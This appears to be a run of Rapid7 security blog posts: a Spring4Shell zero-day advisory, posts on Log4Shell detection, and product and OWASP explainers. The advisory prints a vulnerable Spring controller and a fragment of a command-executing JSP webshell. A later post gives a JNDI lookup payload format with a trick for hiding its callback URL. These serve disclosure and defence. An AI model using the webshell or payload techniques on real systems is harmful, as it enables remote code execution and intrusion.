Our team is continuing to investigate and validate additional information about this vulnerability and its impact. This is a quickly evolving incident, and we are researching development of both assessment capabilities for our vulnerability management and application security solutions and options for preventive controls. As additional information becomes available, we will evaluate the feasibility of vulnerability checks, attack modules, detections, and Metasploit modules.
Our team will be updating this blog continually. Our next update will be at 9 PM EDT on March 30, 2022.
Introduction
On March 30, 2022, rumors began to circulate about an unpatched remote code execution (RCE) vulnerability in Spring Framework when a Chinese-speaking researcher published a GitHub commit that contained proof-of-concept (PoC) exploit code. The exploit code targeted a zero-day vulnerability in the Spring Core module of the Spring Framework. Spring is maintained by Spring.io (a subsidiary of VMWare) and is used by many Java-based enterprise software frameworks. The vulnerability in the leaked proof of concept, which appeared to allow unauthenticated attackers to execute code on target systems, was quickly deleted.
A lot of confusion followed for several reasons:
The researcher’s original technical writeup needed to be translated.
The vulnerability (and proof of concept) isn’t exploitable with out-of-the-box installations of Spring Framework. The application has to use specific functionality, which we explain below.
A completely different unauthenticated RCE vulnerability was published yesterday (March 29, 2022) for Spring Cloud, which led some in the community to conflate the two unrelated vulnerabilities.
Rapid7’s research team has confirmed the zero-day vulnerability is real and provides unauthenticated remote code execution. Proof-of-concept exploits exist, but it’s currently unclear which real-world applications use the vulnerable functionality. This code ends up resulting in widespread exploitation or no exploitation at all, depending on how the features are used.
Recreating exploitation
The vulnerability appears to affect functions that use the @RequestMapping annotation and POJO (Plain Old Java Object) parameters. Here is an example we hacked into a Springframework MVC demonstration:
package net.javaguides.springmvc.helloworld.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import net.javaguides.springmvc.helloworld.model.HelloWorld;
/**
* @author Ramesh Fadatare
*/
@Controller
public class HelloWorldController {
@RequestMapping("/rapid7")
public void vulnerable(HelloWorld model) {
}
}
Here we have a controller (HelloWorldController) that, when loaded into Tomcat, will handle HTTP requests to http://name/appname/rapid7. The function that handles the request is called vulnerable and has a POJO parameter HelloWorld. Here, HelloWorld is stripped down but POJO can be quite complicated if need be:
package net.javaguides.springmvc.helloworld.model;
public class HelloWorld {
private String message;
}
And that’s it. That’s the entire exploitable condition, from at least Spring Framework versions 4.3.0 through 5.3.15. (We have not explored further back than 4.3.0.)
If we compile the project and host it on Tomcat, we can then exploit it with the following curl command. Note the following uses the exact same payload used by the original proof of concept created by the researcher (more on the payload later):
This payload drops a password protected webshell in the Tomcat ROOT directory called tomcatwar.jsp, and it looks like this:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -
Attackers can then invoke commands. Here is an example of executing whoami to get albinolobster:
The Java version does appear to matter. Testing on OpenJDK 1.8.0_312 fails, but OpenJDK 11.0.14.1 works.
About the payload
The payload we’ve used is specific to Tomcat servers. It uses a technique that was popular as far back as the 2014 and alters the Tomcat server’s logging properties via ClassLoader. The payload simply redirects the logging logic to the ROOT directory and drops the file + payload. A good technical writeup can be found here.
This is just one possible payload and will not be the only one. We’re certain that malicious class-loading payloads will appear quickly.
Mitigation guidance
This zero-day vulnerability is unpatched and has no CVE assigned as of March 30, 2022. The Spring documentation for DataBinder explicitly notes:
… [T]here are potential security implications in failing to set an array of allowed fields. In the case of HTTP form POST data for example, malicious clients can attempt to subvert an application by supplying values for fields or properties that do not exist on the form. In some cases this could lead to illegal data being set on command objects or their nested objects. For this reason, it is highly recommended to specify the allowedFields property on the DataBinder.
Therefore, one line of defense would be to modify source code of custom Spring applications to ensure those field guardrails are in place. Organizations that use third-party applications susceptible to this newly discovered weakness cannot take advantage of this approach.
If your organization has a web application firewall (WAF) available, profiling any affected Spring-based applications to see what strings can be used in WAF detection rulesets would help prevent malicious attempts to exploit this weakness.
Until a patch is available, and if an organization is unable to use the above mitigations, one failsafe option is to model processes executions on systems that run these Spring-based applications and then monitor for anomalous, “post-exploitation” attempts. These should be turned into alerts and acted upon immediately via incident responders and security automation. One issue with this approach is the potential for false alarms if the modeling was not comprehensive enough.
Vulnerability disambiguation
There has been significant confusion about the zero-day vulnerability we discuss in this blog post because an unrelated vulnerability in another Spring project was published yesterday (March 29, 2022). That vulnerability, CVE-2022-22963, affects Spring Cloud Function, which is not in Spring Framework. Spring released versions 3.1.7 and 3.2.3 to address CVE-2022-22963. CVE-2022-22963 is completely unrelated to the zero-day RCE under investigation in this blog post.
Further, yet another vulnerability CVE-2022-22950 was assigned on March 28th. A fix was released on the same day. To keep things confusing, this medium-severity vulnerability (which can cause a DoS condition) DOES affect Spring Framework versions 5.3.0 to 5.3.16. This CVE is completely unrelated to the zero-day RCE under investigation in this blog post.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
We’ve all been there. The software development life cycle (SDLC) is moving at a mile a minute. Developers are writing code, updating features, and all the while attempting to keep everything introduced into production as safe and secure as possible. GitHub Actions are essential to automation and allow you to build, test, and deploy your code right from GitHub, faster than ever.
But it comes with risks.
How can you be sure your running applications aren’t vulnerable to exploitation? How will we know it’s problematic before it gets into production? Can we realistically perform kick-off, test, and provide feedback to development not using automation?
Secure apps through automation
A DevSecOps mindset is needed, with security baked into the SDLC — and now, GitHub Actions makes this easier than ever. This new integration — offered completely free to InsightAppSec customers — allows security and development teams to automate dynamic application security testing (DAST) as part of the CI/CD build pipeline workflow. For example, you can easily configure the integration to scan your team’s work for vulnerabilities, and if high-severity vulnerabilities are found, you can have it notify and/or block risky code before it reaches production environments.
Here’s how it works:
All this happens automatically, so your team isn’t spending time finding and communicating application risk — they’re focusing on building a great application security program.
That’s not where the benefits end, however.
1)It helps integrate DevOps into the Security workflow: In order to help build a Dev SecOps mindset across teams, this integration allows DevOps and Security teams to work together earlier in the lifecycle, improving cross-team outcomes and making your organization safer.
2)Automate DAST as part of your CI/CD workflow: This integration fits in seamlessly with what you’re already doing, and automatically provides the vulnerability information your teams need to stay aware of risk and keep unsafe code out of your prod environments.
3) Quick and easy setup: Simply add the IAS Scan steps to your build pipeline as defined in the insightappsec-scan-github-action repo (assuming you have valid Github and InsightAppSec licenses).
And it is all for free. We’re continuously working to make InsightAppSec the easiest and most powerful security platform for your web applications and teaming with Github will supercharge your development lifecycle in the safest way possible, automatically.
Want to learn more? Here’s what you need to know about this integration.
At IntSights, a Rapid7 company, our goal is to ensure organizations everywhere understand the threats facing them in today’s cyber landscape. With this in mind, we took a focused look at the insurance industry — a highly targeted vertical due to the amount of valuable data these organizations hold. We’ve collected our findings in the “2022 Insurance Industry Cyber Threat Landscape Report,” which you can read in full right now.
As part of this research, we reviewed threats specific to each vertical in the insurance industry. Healthcare insurance providers, in particular, have large targets on their backs. Criminals often aim to breach healthcare providers to gain access to various personal health information (PHI), which can include everything from sensitive patient health information to healthcare insurance policy details. Once this data falls into the wrong hands, it can be used to conduct fraud and exploit patients in a variety of ways.
This being the case, health insurance providers need to lock down their security perimeter as much as possible, and there’s one broader problem affecting the industry we want to highlight here: web app security. Security bugs or misconfigurations of public-facing customer web applications can often be overlooked, and they are major areas of concern because they serve as entry points for bad actors.
Let’s explore why these vulnerabilities are dangerous, how they happen in the first place, and what healthcare insurance providers can do to mitigate these threats and protect their policyholders.
Web apps as an entry point
Public-facing web applications are commonly used in the insurance industry to gather information about an individual or an organization. This data is often leveraged to generate a quote estimate for the type of insurance policy the person or company is looking for. While this can be a helpful way to personalize the customer experience and attract more customers to your business by showcasing competitive rates, it can also inadvertently expose inputted information if the app is misconfigured.
Take, for example, a vulnerability discovered in home and pet insurance provider Lemonade’s website. By simply clicking on public search results, a person could access and edit customers’ accounts without providing any credentials. From there, a bad actor could steal personally identifiable data and exploit it with barely any hassle at all.
The shocking part of this incident is that Lemonade spokespeople claimed this website flaw was “by design.” During the setup of the website, the team responsible likely didn’t realize anyone could log in, access a customer’s account, and even download a copy of that individual’s insurance policy. Since then, the indexed search results have stopped working, but it just goes to show how a simple oversight like that can be an open door for bad actors, who usually have to search much harder to find and exploit a vulnerability.
This is why health insurance companies should pay extra attention to how their public-facing apps, websites, and portals are configured. With the treasure trove of PHI they store — including everything from COVID-19 vaccination records to insurance policy details that list patient Social Security numbers, birthdates, and even Medicare or Medicaid coverage — healthcare organizations are prime targets for hackers eager to conduct insurance fraud, and a misconfiguration could give them easy access to this data.
How do misconfigurations happen?
Misconfigurations can happen at any level of an application stack, from the application server to the network services and beyond. As such, bad actors will try to exploit any misconfigurations in your stack by looking for unpatched flaws, unused pages, unprotected files or directories, and even dummy accounts that can get them into a system and open up access to data from within. This can lead to a complete system compromise and should be taken seriously.
But how do misconfigurations happen in the first place? Here are a few of the most common security misconfigurations in web apps:
Exposing too much information: If an attacker discovers what type of software you’re using for a public-facing web application, it will be much easier for them to search for and find vulnerabilities. There are some clever ways they go about learning this information; for example, they may be able to tell from an error message what type of back end you’re using. Anything that reveals stack traces or exposes information about what systems you’re using needs to be taken care of.
Default settings: When deploying new software, it usually comes out of the box with all functionality activated. However, every extra functionality is just another point of entry that you need to lock down. Never leave all default settings on, and make sure to change default accounts and passwords for everything, from admin consoles to hardware.
A lack of permissions: When your user permissions or account security settings are not strict, attackers may be able to access an account and run commands in the operating system. In the Lemonade example, for instance, anyone that found the account pages through search could log into the accounts without inputting user credentials.
Outdated software: Updating and patching software regularly is required to shore up any security vulnerabilities. This is even more critical for public-facing applications, as bad actors will often run down a list of known vulnerabilities to exploit a system. If the software isn’t up to date, it could leave a wide-open hole in your defenses.
How to resolve and prevent configuration issues in web apps
For healthcare security and health IT teams looking to find, fix, and prevent configuration issues in web apps, here are a few ways you can start:
Establish secure installation processes. A repeatable hardening process will help you deploy new software faster and easier in the future. This process, once outlined, should then be configured identically across your environments and automated to minimize effort.
Do not install unused features and frameworks. When first setting up your application, don’t deploy with the default settings. Review every feature, functionality, and framework, and remove any you do not want or plan to use. This will help you launch with a minimal platform that will be easier to harden.
Implement strict permissions. Ensure that different credentials are used in each environment, from development to production. Default user accounts and passwords should always be changed as soon as possible, and you will want to implement strict requirements for credentials.
Review and update configurations regularly. You might think you’re done once you’ve deployed your app, but you should always come back to review and update configurations on a consistent basis. Scan for errors, apply patches, and verify the effectiveness of your configurations and settings in all environments for maximum protection.
Generate a software bill of materials (SBOM) and cross-reference it against vulnerabilities often. It’s important to know every component comprised within a piece of software. You can easily generate an SBOM with a variety of open-source and commercially available third-party applications, and once you have it in hand, regularly cross-reference the components in it against known vulnerability lists.
Cyber threat intelligence can also help, as it can inform your health IT team about any threats facing your web app security. For example, threat intelligence can reveal what bad actors hope to acquire from your web apps and the methods they may try to use to obtain it. When you gather key information like this, you can tailor your defenses appropriately.
By leveraging robust cyber threat intelligence solutions and performing rigorous testing and scrutiny of public-facing web applications and other infrastructure, health insurance organizations and their healthcare security teams can better protect their environments and avoid inadvertently exposing customer data.
To learn more about the threats facing the insurance industry today — and some recommendations to protect against them — read the full research report here: “2022 Insurance Industry Cyber Threat Landscape Report.”
Join us on Wednesday, February 16, at 2pm EST for our webinar “Log4Shell Two Months Later: Lessons and Insights for Protectors.”
If you’re reading this, that means you survived the year 2021, so congratulations! For everyone in the software industry, and especially those in cybersecurity, the past 12 months probably felt like 12 rounds in the ring. Remember the Solarwinds attack and the resulting scramble to mitigate supply chain vulnerabilities? That all started just over a year ago, and things haven’t been quiet since.
Unprecedented security events have happened before, but last year, they became mainstream news. Even the White House and other US federal agencies are demanding more secure software from software vendors and better cybersecurity hygiene from any company that stores or processes sensitive data.
We can all feel the attention now, and because of this new level of awareness across the software industry, security vendors like Rapid7 are asked to respond to these widespread security events with speed and consistency to calm nerves and help prevent the spread of misinformation. That’s why I wanted to talk about our response to CVE-2021-44228 (a.k.a. Log4Shell), specifically with the Rapid7 InsightAppSec (IAS) platform.
What did we do?
When Log4Shell was disclosed, every major security vendor sprang into action to add coverage for the vulnerability to their products. At the time, many dynamic application security testing (DAST) platforms like IAS were struggling to add coverage due to the complexity of the attack, and we were no exception. But because of the severity of this vulnerability and the time-sensitivity of the situation, we knew we had to get our customers the appropriate DAST coverage as soon as possible, so we quickly created a new attack module that could provide that coverage.
How did we do it?
Before we could deliver a viable solution, we needed to address a substantial technical challenge – any Log4Shell exploit we developed needed to be an out-of-band (OOB) attack, meaning the information in our malicious request and the resulting response from the application wouldn’t be enough to prove the existence of the vulnerability. To better illustrate that definition, here is a traditional SQL Injection (SQLi) attack that IAS would perform on an application:
If you’re familiar with the HTTP protocol, URL formatting, URL encoding, and Structured Query Language (SQL), you can probably figure out what’s happening in this example HTTP request and response. If not, don’t worry — all you need to know is that IAS has essentially logged in as the ‘admin’ user in this application without knowing the password, using a malicious password value that exploits a SQLi on the server. Most attacks consist of one or more request/response pairs just like this example, with all communication happening over the same logical channel.
Of course, not all applications are willing to tell us so easily that we’ve successfully found and exploited a vulnerability. In these cases, we have to infer the success of our attack based on factors other than the content of the response, such as the time taken by the application to respond or whether we get a response at all.
But when it comes to performing a Log4Shell attack, we’re completely blind to the success of the attack if we only look at the application’s in-band response. This is because the Log4Shell vulnerability can only be exploited when malicious data is passed to a Log4j logging function. Since logging operations are not business-critical and shouldn’t be interrupting the business-critical functions that call them to record data, any errors thrown are suppressed by default. Not only that, but Log4j logging functions don’t return any data to the calling functions either, so any output from Log4j will not be included in the HTTP response sent to the client. That’s why we had to be a little more creative with our implementation of the Log4j attack module.
How does it work?
A picture is worth a thousand words, so let’s start with a diagram of our new attack:
As you can see, it’s not as simple as the in-band attack shown previously. This time, IAS isn’t trying to login to the application, even though it’s attacking the login API. In fact, it doesn’t matter whether the login request was successful or really how the application responds to the request. What matters is that we can detect when the application passes the malicious username value to Log4j, which will process any lookups embedded in that value.
Since the username contains a valid JNDI Lookup string (starting with ‘${jndi:’, then followed by a valid URL and a closing ‘}’), Log4j will try to retrieve some data from the server addressed by the URL in the lookup. This requires a DNS request to translate that URL into an IP address, and no matter which DNS server the application reaches out to first for the DNS lookup, that request will eventually reach a custom DNS server hosted in our Appspidered environment. Upon receiving the DNS request, our Appspidered server will parse out the unique token that was embedded in the URL as a subdomain (in this case, ‘12345’) and store it temporarily.
Meanwhile, after IAS has received an HTTP response from the application, it will periodically reach out to Appspidered to see if it has received any DNS requests for the Appspidered subdomain containing the unique token it provided to the application in the attack. If Appspidered confirms the DNS request was made, then we know the application must have parsed the attack payload and made the request, meaning it is vulnerable to Log4Shell.
And that’s it! Of course, the devil is in the details, so let’s try and answer any questions that you may have at this point.
How do we know which application endpoint was exploited?
In order to differentiate each attempted Log4Shell attack, IAS will generate a unique token for each request made to the application. The payload in each request will always have the format ‘${jndi:ldap://unique_token.oob.appspidered.rapid7.${lower:COM}}’, and each token will be a 160-bit random value represented by 40 hexadecimal characters, so the chances of 2 attacks using the same token are practically zero.
What’s with the ${lower:COM} part of the URL?
Log4j supports many different lookup types, and this is a lower lookup that simply rewrites ‘COM’ in its lowercase version ‘com’. This is a trick we use to disguise the URL and make sure no other components sitting between IAS and the vulnerable Log4j library notice the full URL and make their own DNS request to resolve it, as this would cause us to report a false positive Log4Shell vulnerability in the application.
Why do we detect DNS requests instead of the LDAP requests themselves?
By detecting DNS lookups instead of the preceding requests, we don’t need to worry about the requests protocol or whether it was blocked. Also, outbound DNS traffic is less likely to be blocked than other protocols in customer environments, and because of the recursive nature of DNS, the Appspidered domain won’t need to be whitelisted for vulnerable applications to provide confirmation of the exploit. Most other DAST solutions are using the same DNS-based technique for OOB attacks, presumably for the same reasons.
Does a DNS request really prove the Log4Shell attack would have worked?
It at least proves that the application’s Log4j library was intending on performing a JNDI message lookup and is therefore vulnerable, which is not supported in fixed and appropriately patched versions. It’s possible that later stages of the Log4Shell attack could be detected and/or prevented by security tools sitting between IAS and Log4j, so we can’t guarantee the vulnerability is exploitable just from the DNS request. However, it proves that there’s a Log4j dependency in the application that is both vulnerable and reachable from an attacker’s standpoint, so it should be remediated regardless.
So is this better than a vulnerability management (VM) solution at finding Log4Shell vulnerabilities in my environment?
It depends on what you mean by “better.” Since VM solutions essentially scan your environment for vulnerable versions of the Log4 library, they will likely find more of those libraries than IAS would, especially if those libraries can only be attacked in very specific or complex scenarios. However, when it comes to scanner results, more isn’t always better, especially if you already have an overwhelming number of vulnerabilities in your environment and evaluating them for remediation priority is an expensive process.
Since IAS will only report instances of the Log4Shell vulnerability that are discoverable and exploitable from an attacker’s point of view, it is more likely to miss some instances compared to a VM solution, but you can be confident that vulnerabilities that do get reported are highly exploitable and should be high on the priority list. In a perfect world, you would use both a DAST solution like IAS alongside a VM solution to get the best of both worlds, leading to a breadth of visibility of your attack surface and a depth of understanding of your risk.
What’s next?
When Log4Shell hit, our priority was to deliver a working attack module as soon as possible, and despite the success, we feel there’s always room for improvement. Here are some of the enhancements we are considering:
Including this module in the default attack policy for regular use
Completing the Log4Shell attack with a full JNDI lookup over all supported protocols and delivery of a custom Java object
Still flag DNS lookups as lower-confidence/severity findings
By integrating with tCell, we could gather more detailed information about where the vulnerability exists and how to remediate it
Support for fully asynchronous detection, even after the end of the scan
This will also decrease IAS scan times, as the scanner won’t need to wait for DNS requests to appear
Support for on-premise detection for environments that can’t reach Appspidered
On-prem deployment of Appspidered’s custom DNS server
On-prem deployment of future JNDI listener(s)
Innovation happens fast at Rapid7, so stay tuned for updates on the Log4Shell attack module! And for more information on the Log4Shell vulnerability itself and why it was worth the attention it was given, I highly recommend you check out our Everyperson’s Guide to Log4Shell for a high-level understanding and our AttackerKB for a more technical analysis.
Ho, ho, holy cow — what a wild way to wrap up the year that was. Thousands of flights were cancelled during Christmas week, nearly every holiday party became a super-spreader event, and we lost a legend in Betty White. In our neck of the woods, Log4Shell has been dominating the conversation for nearly the entire holiday season. But now that much of the initial fervor has passed, we wanted to take a moment to recap some of InsightAppSec and tCell’s Q4 highlights and give us all a little much-deserved break from the madness.
RBAC
It may not seem like much, but remote-based access control — or RBAC— is a game-changer for many teams looking to streamline their access to InsightAppSec. Essentially, we make it super simple to configure access to the platform perfectly for every member of your team, create tiers of accessibility for different job roles, and ensure everyone has exactly what they need to do their jobs on day one.
Included is a new pre-built remediator role, which was designed to only show developers what they need in order to address a that vulnerability. They can drill into it, see reference details and remediation steps, and replay the attack in their dev or staging environments, all in an easy, navigable interface. This new role helps prevent the back-and-forth between security and development passing vulnerability details.
The key to our new feature is scalability. Regardless of whether you have a team of 10 or a team of 1,000, each group will only have the permissions they need to view the data you want them to see — all without the back-and-forth that comes with creating permissions ad hoc. It’s a time-saver, for sure, but it can also reduce headaches and make costly mistakes far less likely. If you want to learn more check out our blog post on the subject (it’s got a cute Goldilocks theme — you’ll get the drift).
ServiceNow
Oh, yeah, we’re fully integrated with ServiceNow. It’s just a leader in IT service management, and InsightAppSec is fully integrated, working seamlessly, and available in the ServiceNow app store for, like, zero dollars. No biggie.
This integration offers a lot of great features that will save your team time and effort, improving everything from visibility, to prioritization, to remediation. In fact, remediation will happen even faster than it already does with updates automatically happening across both ServiceNow and InsightAppSec tickets. And it’s so simple and quick to install, you’ll be benefiting from it in minutes. Oh, and did we mention zero dollars?
Log4Shell
OK, break’s over. Yes, we made many improvements to InsightAppSec this quarter, but we would be remiss if we didn’t mention the ones we made for Log4Shell. The big one is a new InsightAppSec default attack template for Out of Band Injection specific to Log4Shell attacks. Attack templates are InsightAppSec’s bread and butter, testing every part of your application against known attack vectors. With this feature, we have an attack template that can automate a sophisticated attack by simulating an attacker on your website and injects code in your application. If the code is vulnerable, it calls a Log4j function to send a JNDI call to a Rapid7 server validating the exploitability of the application. This helps you identify and prioritize Log4Shell vulnerabilities before they become real threats.
For even more flexibility, we’ve added an attack module that actually does the out-of-band Log4Shell attack during testing. You can easily select this in the Log4Shell attack template, but you can can also create a custom template and add the new Log4Shell attack module to that.
We’ve also improved tCell’s ability to protect against Log4Shell attacks. We launched a new app firewall protection specifically for Log4Shell attacks. The new firewall lets our customers know if their apps have been attacked through the Log4Shell vulnerability and drill down to specifics on the attack. We’ve also created a default pattern that allows you to block well known Log4Shell patterns and as more become known, we will continue our updates.
Even more
While these were just a few of the major improvements we made to InsightAppSec and tCell this quarter, there were certainly a host of minor ones that are sure to make the platform easier and more efficient. They include custom NGINX builds and support for .Net 6.0 for tCell, Archiving Scan Targets, and customizing executive reports for InsightAppSec, among others.
Those are the highlights from the fourth quarter of 2021 from here in InsightAppSec-land. We’re well on our way to making Q1 2022 even better for our customers, though we can’t do anything about those flight cancellations. And while we’re at it, someone check on Keith Richards.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
We can all agree at this point that the Log4Shell vulnerability (CVE-2021-44228) can rightfully be categorized as a celebrity vulnerability. Security teams have been working around the clock investigating whether they have instances of Log4j in their environment. You are likely very familiar with everything regarding Log4Shell, but if you are looking for more information, you can check out our Everyperson’s Guide to Log4Shell (CVE-2021-44228). In this blog, we will share how Rapid7 customers can test for Log4Shell with InsightAppSec.
Testing for Log4Shell with InsightAppSec
With InsightAppSec, our dynamic application security testing (DAST) solution, customers can assess the risk of their applications. InsightAppSec allows you to configure various attacks of your applications to identify response behaviors that make your applications more vulnerable to attacks. These attacks are run during scans that you can customize based on your needs. In this case, we’ve introduced a new default attack template for Out of Band Injection specific to Log4Shell attacks.
What’s this mean? Customers can now run an Out of Band Attack Injection from our default template, which includes an attack type for Log4Shell. The new default Out of Band attack template in InsightAppSec will perform sophisticated web application attacks that do not rely on traditional HTTP request-response interactions. Our Log4Shell vulnerability detection will simulate an attacker on your website. InsightAppSec will validate the exploitability of the application and the associated risk.
How to run a Log4Shell attack in InsightAppSec
You can scan for this new Out of Band attack using either a new attack template we have created or by creating your own custom attack template and selecting this new attack module. We have added some highlights below, but you can find a detailed guide via our help docs.
Attack templates
Out of Band Injection attack template
Out of band Log4Shell attack module
Run a scan
Scan Config
Depending on the choice of either using the new Out of Band Injection attack template or creating your own custom attack module, you now need to choose this template on your scan config and run a scan against your selected app(s).
Scan results
Now you run your scan, you can review your scan results to see if your app(s) have any findings that could be exposed as per the details in CVE-2021-44228.
What’s next?
Though official mitigation steps are changing as new information arises, we recommend for Java 8+ applications, upgrade your Log4j libraries to the latest version (currently 2.17.0) to fix any new issues as they are discovered. Application using Java 7 should upgrade Log4j to at least version 2.212.2 If you’re looking to validate any fixes have been implemented, feel free to run a validation scan with InsightAppSec to verify the fixes have been made.
If you’re looking for additional information on how Rapid7 can help support you during this time, check out our Log4j resource hub.
By now, we’re sure you’re familiar with all things Log4Shell – but we want to make sure we share how to protect your applications. Applications are a critical part of any organization’s attack surface, and we’re seeing thousands of Log4Shell attack attempts in our customers’ environments every hour. Let’s walk through the various ways tCell can help our customers protect against Log4Shell attacks.
1. Monitor for any Log4Shell attack attempts
tCell is a web application and API protection solution that has traditional web application firewall monitoring capabilities such as monitoring attacks. Over the weekend, we launched a new App Firewall detection for all tCell customers. This means tCell customers can leverage our App Firewall functionality to determine if any Log4Shell attack attempts have taken place. From there, customers can also drill in to more information on the events that took place. We’ve created a video to walk you through how to detect an Log4Shell attack attempts using the App Firewall feature in tCell in the video below.
As a reminder, customers will need to make sure they have deployed the JVM agent on their apps to begin monitoring their applications’ activity. Make sure to check out our Quick Start Guide if you need help setting up tCell.
2. Block against Log4Shell attacks
Monitoring is great, but what you may be looking for is something that protects your application by blocking Log4Shell attack attempts. In order to do this, we’ve added a default pattern (tc-cmdi-4) for customers to block against. Below is a video on how to set up this custom block rule, or reach out to the tCell team if you need any assistance rolling this out at large.
As research continues and new patterns are identified, we will provide updates to tc-cdmi-4 to improve coverage. Customers have already noted how the new default pattern is providing more protection coverage than yesterday.
3. Identify vulnerable packages(such as CVE 2021-44228)
We’ve heard from customers that they’re unsure of whether or not their applications are leveraging the vulnerable package. With tCell, we will alert you if any vulnerable packages (such as CVE 2021-44228 and CVE 2021-45046) are loaded by the application at runtime. The best way to eliminate the risk exposure for Log4Shell is to upgrade any vulnerable packages to 2.16. Check out the video below for more information.
If you would like to provide additional checks outside of the vulnerable packages check at runtime, please refer to our blog on how InsightVM can help you do this.
4. Enable OS commands
One of the benefits of using tCell’s app server agents is the fact that you can enable blocking for OS commands. This will prevent a wide range of exploits leveraging things like curl, wget, etc. Below you’ll find a picture of how to enable OS commands (either report only or block and report).
5. Detect and block suspicious actors
All events that are detected by the App Firewall in tCell are fed into the analytics engine to determine Suspicious Actors. The Suspicious Actors feature takes in multiple inputs (such as failed logins, injections, unusual inputs, etc.) and correlates these to an IP address.
Not only can you monitor for suspicious actors with tCell, but you can also configure tCell to block all activity or just the suspicious activity from the malicious actor’s IP.
All the components together make the magic happen
The power of tCell isn’t in one or two features, but rather its robust capability set, which we believe is required to secure any environment with a defense-in-depth approach. We will help customers not only identify vulnerable Log4j packages that are being used, but also assist with monitoring for suspicious activity and block attacks. The best security is when you have multiple types of defenses available to protect against bad actors, and this is why using the capabilities mentioned here will prove to be valuable in protecting against Log4Shell and future threats.
Get more critical insights about defending against Log4Shell
At Rapid7, we are constantly improving InsightAppSec and tCell with the goal of making our customers’ lives easier. Over the last few months alone, we’ve improved the way your team structures permissions, integrated with Microsoft’s .Net 6.0, and automated authentication to make scan after scan more seamless and efficient. Yeah, you could say we’re obsessed.
So it should come as no surprise that we’re announcing a brand-new integration with ServiceNow to make it easier to create tickets for vulnerability scans and remediation across your security and development teams.
A perfect match
ServiceNow needs no introduction. It is the leader in IT service management (ITSM) vendors, according to the Gartner Magic Quadrant, and has a huge share of the ITSM market. Companies use ServiceNow for triaging, prioritizing, and tracking everything from development tasks, to system performance, to security. It’s the big dog in the space, and with this new integration, InsightAppSec works seamlessly within the system your company already uses for IT service management.
InsightAppSec for ITSM is now available right in the ServiceNow app store and can be enabled quickly, easily, and (crucially) at no additional cost to you!
What it means for your team
Here are a few ways InsightAppSec and ServiceNow will make your and your team’s lives better:
Better teaming: Drive visibility, prioritization, and remediation of vulnerabilities across IT, Sec, and DevOps teams.
Faster remediation: Selected vulnerabilities are sent from InsideAppSec to ServiceNow as a new ticket. Users can then update the tickets within ServiceNow and the status changes automatically update within InsightAppSec. For example, a resolved status in ServiceNow will automatically update the vulnerability to “Remediated” in IAS.
Quick and easy setup: Yes, we mentioned this before, but it is just so dang easy. Add InsightAppSec directly from the ServiceNow app store, and configure and maintain it in a workflow similar to those of other ServiceNow integrations.
And this is just the beginning. We’re already looking at ways to integrate InsightAppSec with ServiceNow to make coordination across both platforms as simple as can be. Because when everything works together seamlessly, your company is safer and more efficient, and your security and development teams work better together.
If you would like to learn more about how InsightAppSec is integrating with ServiceNow, check out this video demonstration.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
In the 2021 edition of the OWASP top 10 list, Broken Authentication was changed to Identification and Authentication Failures. This term bundles in a number of existing items like cryptography failures, session fixation, default login credentials, and brute-forcing access. Additionally, this vulnerability slid down the top 10 list from number 2 to number 7.
To be sure, security practitioners have made progress in recent years in mitigating authentication vulnerabilities. We should consider ourselves fortunate that most employees are no longer using default usernames and passwords, generic admin, or admin as credentials — many of these issues have been resolved with the availability of frameworks that help standardize against these types of vulnerabilities. Security teams have also started to feel the effects of maintaining multi-factor authentication (MFA) accounts across the multitudes of applications we use in our day-to-day lives. This, too, has helped contribute to this category going down in the OWASP top 10 list.
But that doesn’t mean security pros should take their eyes off the ball when it comes to identification and authentication failures. Let’s take a look at the issues that still remain in mitigating this family of threats.
The challenges with identification and authentication
Nearly every application and technology solution that we use in our lives has some sort of login associated with it. In your home, think about the WiFi routers you connect to — and the many devices and appliances that can now access that network.
Your workplace likely also has a wide variety of devices that reside on the network. Most of these devices have some form of login that allows them to make configuration changes. In addition, these devices almost always come with generic usernames and passwords that allow users to log into them for the first time.
Unfortunately, these credentials appear in every user guide and are publicly well-known. Vendors routinely use the same generic credentials across multiple different product types, which can compound the problem. Even if you change the password upon configuration of the device, the username is still known, and the password can be brute-forced with a variety of different testing tools.
Testing identification and authentication with InsightAppSec
InsightAppSec, Rapid7’s dynamic application security testing (DAST) solution, offers a single solution with an ability to detect and identify these risks across your environment. It allows you to test your applications and devices for identification and authentication failures throughout the enterprise.
InsightAppSec contains 101 different attack modules, with thousands of payloads to help identify vulnerabilities in your environment. You can utilize the default attack templates within the solution or build your own from scratch.
InsightAppSec also lets you prioritize these risks within the platform and gives you the information you need to provide details and context to the teams responsible for remediation. The platform gives detailed recommendations for how developers can fix vulnerabilities. Users can also replay the attacks in real time against the application and validate that common issues, such as using generic credentials to log in, have been resolved with the Rapid7 Chrome Plugin.
Final thought
As organizations continue to protect their applications from identification and authentication issues, there will be added mechanisms for authentication in place for protection. As a part of any good application security program, these applications will still be to be scanned and tested. Having a scanning solution in place to be able to authenticate appropriately through these security protections is essential for organizations to address their identity- and access-related vulnerabilities.
Check out our previous OWASP Top 10 Deep Dives on:
Web applications are no longer just assets to a company — they’re an organization’s identity, playing a major role in how customers, clients, and users see a brand. Due to this importance, web apps have also become a primary target for attack.
Over the years, these applications have grown more complex and bigger in size. Meanwhile, attackers have gotten more skillful. This has created greater opportunities for malicious actors to exploit potential vulnerabilities in web applications.
SSRF attacks present a range of risks, from potentially stealing sensitive information from the application to bringing the entire web application down. These attacks target systems that are located behind firewalls and restrict access from non-trusted networks. Protecting your application from such attacks is vitally important. Here, we’ll talk about the different types of SSRF attacks and go over some mitigation techniques
What is server-side request forgery (SSRF)?
SSRF allows an attacker to force the server-side application into making arbitrary web requests to an unintended domain. This can result in the server making connections to internal-only services or arbitrary external systems.
A successful SSRF attack can result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with. In some situations, the SSRF vulnerability may even allow an attacker to perform arbitrary command execution. This can result in:
Information exposure
Internal reconnaissance
Denial-of-Service (DoS) attack
Remote code execution (RCE)
